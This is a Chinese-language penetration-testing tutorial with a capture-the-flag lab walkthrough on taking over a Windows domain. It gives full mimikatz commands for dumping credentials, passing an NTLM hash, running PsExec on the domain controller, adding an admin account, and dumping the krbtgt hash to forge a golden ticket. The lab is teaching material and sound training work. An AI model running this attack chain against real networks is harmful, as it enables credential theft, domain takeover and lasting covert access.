内网渗透 - 遨游内网找到更多漏洞(下)
一、域的简介与搭建
注:很多漏洞都是为了管理员方便都是为了偷懒而产生,所以体验感和安全永远在对立面,越方便,越危险!!!
内网里面有很多机器,例如:几百台,上千台电脑,但是计算机管理员仅仅只有几个人,如果他们想对所有电脑进行更新升级,是不是要累死?一台一台的操作过去,我估计得吐血
Windows的开发也考虑到了这个问题,所以Windows中有一个域的功能。
域其实就是一些计算机所组成的。一个电脑也能是一个域,一堆电脑也可以是一个域。
域中的机器并不平等,分为控制机和客户机,控制机的权限很大,可以操作域中的任意机器,它被叫为域控制器,俗称域控(DC)。 拿下域控,就等于拿下域里面所有的机器。对于黑客而言,拿下域控也是攻击的最终极目标。
域比较复杂,分为单域、父域、子域、域树、域森林等概念 对于初期渗透测试人员而言,其实都差不多。
我们的目标是域控,那么我们肯定要对域有一定的了解,域作为Windows的一个功能,我们为何不尝试自建一个域,来方便我们的测试和学习?
1.域的搭建超级简单:
(1)准备两台服务器,我是虚拟机开了两台windows server 2008r2 然后进行安装
(2)服务器管理器 -> 添加角色 -> Active Directory 域服务安装
(3)选中角色运行安装向导就行,选择新林中新建域,然后写你的域的名字 [例如:zkaq.cn]
注:这个域的名字其实就是域名,域的使用本身就需要搭建DNS服务器,Windows他会一键搭建不用担心
(4)林功能等级随便选,我建议选Windows server 2008R2
(5)安装按照流程走就行
(6)需要设置一个超级密码:这个地方设置的尽量复杂点
(7)域搭建完成。
2.如何加入域:
计算机属性里面的计算机名里点击修改,写上你要加入的域就行,需要输入域管理密码。
注: 加入域,这里需要设置下DNS服务器,把DNS设置为域控机器就行;域控账号可以登录域内任意主机
二、Windows认证协议 - Kerberos
在域中一台电脑上要登录另一台的用户,需要一个通信证,这个通行证就叫做票据。例如:你用域管账户登录
注:这只是简单的理解,其实内部比较复杂
三、域渗透 - 哈希传递
域控管理员会用自己的域控账号登录客户机,那么我们就可以抓取到域控的账号和密码。但是密码并不一定抓取到的都是明文,如果是Windows server 2012以上版本或者是打了KB2871997补丁就会抓取不到明文密码,虽然有密文,但是密文是是不可逆的,基本上不可能解开
这里就有一种方法就做,哈希传递(PTH) Pass-The-Hash。
前几天在渗透测试时遇到了一个问题,SQL注入获取的MD5值解不开,经过漫长的代码审计:发现设置Cookie的时候,他的Cookie是可以计算的,根据偏移混淆值+用户名和密码的MD5值,然后计算成一串Cookie。我们不需要知道密码,只要算出Cookie就可以成功登陆。
有同学会问,为啥不加密码直接计算,而是计算密码的MD5值,因为。数据库不存储密码,他不知道呀
在登陆其他用户的时候,也会这样去计算类似的情况,所以你用哈希值就可以去登陆同密码的服务器,然后因为这里是域控的账号密码,那么你可以直接用这个去登陆域控
mimikatz
sekurlsa::logonpasswords 抓取密码
sekurlsa::pth /user:administrator /domain:"zkaq.cn" /ntlm:61465a991b168727b65b3644aab823cd
登陆用户 + 域地址 + ntlm加密值
这里会弹出一个CMD框 我们先用看看自己是否有权限
dir \\WIN-D6PMU0BTMC1.zkaq.cn\c$ 【查看域控C盘】
我不仅仅想看域控的C盘,我更需要获得域控机器的权限,其实你可以查看到C盘就代表着,你有了操作域控的权限,这里用一个Windows官方出的工具。[PsExec.exe]
PsExec.exe \\域控地址 cmd [他会去调用域控主机的cmd]
这样我就可以为所欲为了,添加个账号也挺好的,不过不建议这么干,动静太大了。这里我们要知道域控可以登录一切域内机器,所以域控的账号密码会换来换去,我们可能下次就不能这样的登录了,那么为了维持长久的控制,我们要去制作伪造一个黄金票据。他域控密码改了我也能继续用。
四、域渗透 - 黄金票据
黄金票据相当于一个通行证,只要有对的票据,域里面的机器都可以无密码登陆(就像我们拿身份证去验证,如果是第一次去,机器是不认识我们的,它需要去对比公安系统查是否有这个身份证,有就放行),所以黄金票据不会因域控的登陆的账号密码变化而变化(就算目标改了账户密码,也没有影响),除非把KDC(一般在域控主机上)的密码改了
所以这里就是域控的账户密码去登陆域主机,域主机会去检查域控登陆的账号密码是否正确,但是域主机是没有存放域控的账号密码的,它需要借助KDC(存放了域控主机的账号密码)去检查是否存在,因此我们可以利用KDC的账号做成一个票据,从而达到直接登陆的效果
域渗透中其实有金银票据,一个是黄金票据一个是白银票据。一个用的是域控用户账户,一个用的是krbtgt账户。
金票权限是最大的,我们主讲黄金票据。
krbtgt账户其实就是那个KDC秘钥分发中心用的超管密码,我们拿着那个的票据,去访问客户机,客户机会认为我们是KDC秘钥分发中心,所以直接给了最高的权限允许我们访问,一般管理员会修改域控机密码,但是很少有管理员会修改Krbtgt的密码。那我们看看怎么伪造这个黄金票据。
lsadump::dcsync /user:krbtgt 获取krbtgt的密码 [mimikatz 会模拟域控,向目标域控请求账号密码信息]
提取出里面的sid和hashNTLM
注:超级坑:这里的SID是不包含-502的,千万别把-502写进去
kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-1720693672-3610745784-2269473857 /krbtgt:1176ad25a126d316ed5ea4b60b3d71dd /ticket:administrator.kiribi [制作票据]
kerberos::ptt administrator.kiribi [加载票据]
然后打开cmd试试看票据是否有用,可以访问域控吗?
提取东西在域控,伪造在客户机
靶场实战
1.远程连接靶场所给的网址端口
2.连接成功
3.点击管理工具,再点服务器管理
4.点击角色,再点击添加角色
5.点击下一步,再点击添加域服务
6.一直下一步,直到安装
7.看到提示尚未将此服务器作为域控制器运行,点击蓝字进行安装
8.一直点下一步发现需要我们配置TCP/IP网络通讯协议,但我们怕配置之后会断网
9.这里先演示加入域,右键打开计算机的属性,点击更改设置,点击更改,勾选上域,写存在的域名,如zkaq.cn
10.但这里需要将DNS服务器也改为与之相同的地址,否则将会提示错误
11.将DNS服务器地址改为10.0.1.6
12.这里要填写域控的账户
13.这里用虚拟机来完成域服务的安装,到这一步选择在新林中新建域
14.此处随便填写一个域名(这里是内网,与公网不影响)
15.此处域功能级别选择越低越好(兼容高版本)
16.安装到这一步就是填写KDC的密码(也是域控密码)
16.这里由于我们忘记了域控的账户密码,用远程再次登陆10.0.1.8,再次用猕猴桃获取密码,发现出现了域:ZKAQ(这个只有用域控的登陆才会有)
17.用systeminfo 可查看域为:zkaq.cn(通过域控管理员登陆才会有),由此证明上面的登陆是由域控登陆的(并不是说明我的就是域空账号,只是域控有登陆过)
18.取出哈希值,用哈希传递的办法直接构建密码去登陆
sekurlsa::pth /user:administrator /domain:"zkaq.cn" /ntlm:61465a991b168727b65b3644aab823cd
19.弹出了一个cmd.exe,我们可以用以下命令先看看自己是否有权限
dir \\DC.zkaq.cn\c$(查看域控共享文件中的c盘里的内容)
\\:UNC路径(共享文件)
DC:登陆的主机名
20.将PsExec文件上传到远程桌面,在刚刚打开的cmd命令行中输入以下命令使其跳转到桌面
cd ../../../
cd users
cd administrator
cd Desktop
21.再输入以下系统命令获取目标的权限并弹出目标的cmd
PsExec.exe \\DC.zkaq.cn cmd
22.输入ipconfig查看IP地址,发现是10.0.1.6,我们连接的主机IP是10.0.1.8,所以我们拿到域控的地址
23.接着,我们添加用户abc,并将其加入到管理员群组
24.连接域控地址的远程桌面
25.连接成功,并找到了flag
flag:flag{qiuqiuni,biedabajile}
26.flag正确
27.此时,我们如果想要长期的登陆有效,就需要制作一个黄金票据
28.在10.0.1.8主机上的猕猴桃提权后写入以下命令(也可以直接在连接的主机上做)
lsadump::dcsync /user:krbtgt
28.查看日志,提取出里面的sid和hashNTLM
sid:S-1-5-21-4098506371-3349406080-1400905760
hashNTLM:9f7afad7acc9f72b7e338b908795b7da
29.用以下命令制作票据
kerberos::golden /admin:administrator /domain:zkaq.cn /sid:S-1-5-21-4098506371-3349406080-1400905760 /krbtgt:9f7afad7acc9f72b7e338b908795b7da /ticket:951.kiribi
30.制作成功
31.加载票据成功
32.再次输入以下命令查看是否有权限
dir \\DC.zkaq.cn\c$
33.接着就是重复上面哈希传递的步骤了
PsExec.exe \\DC.zkaq.cn cmd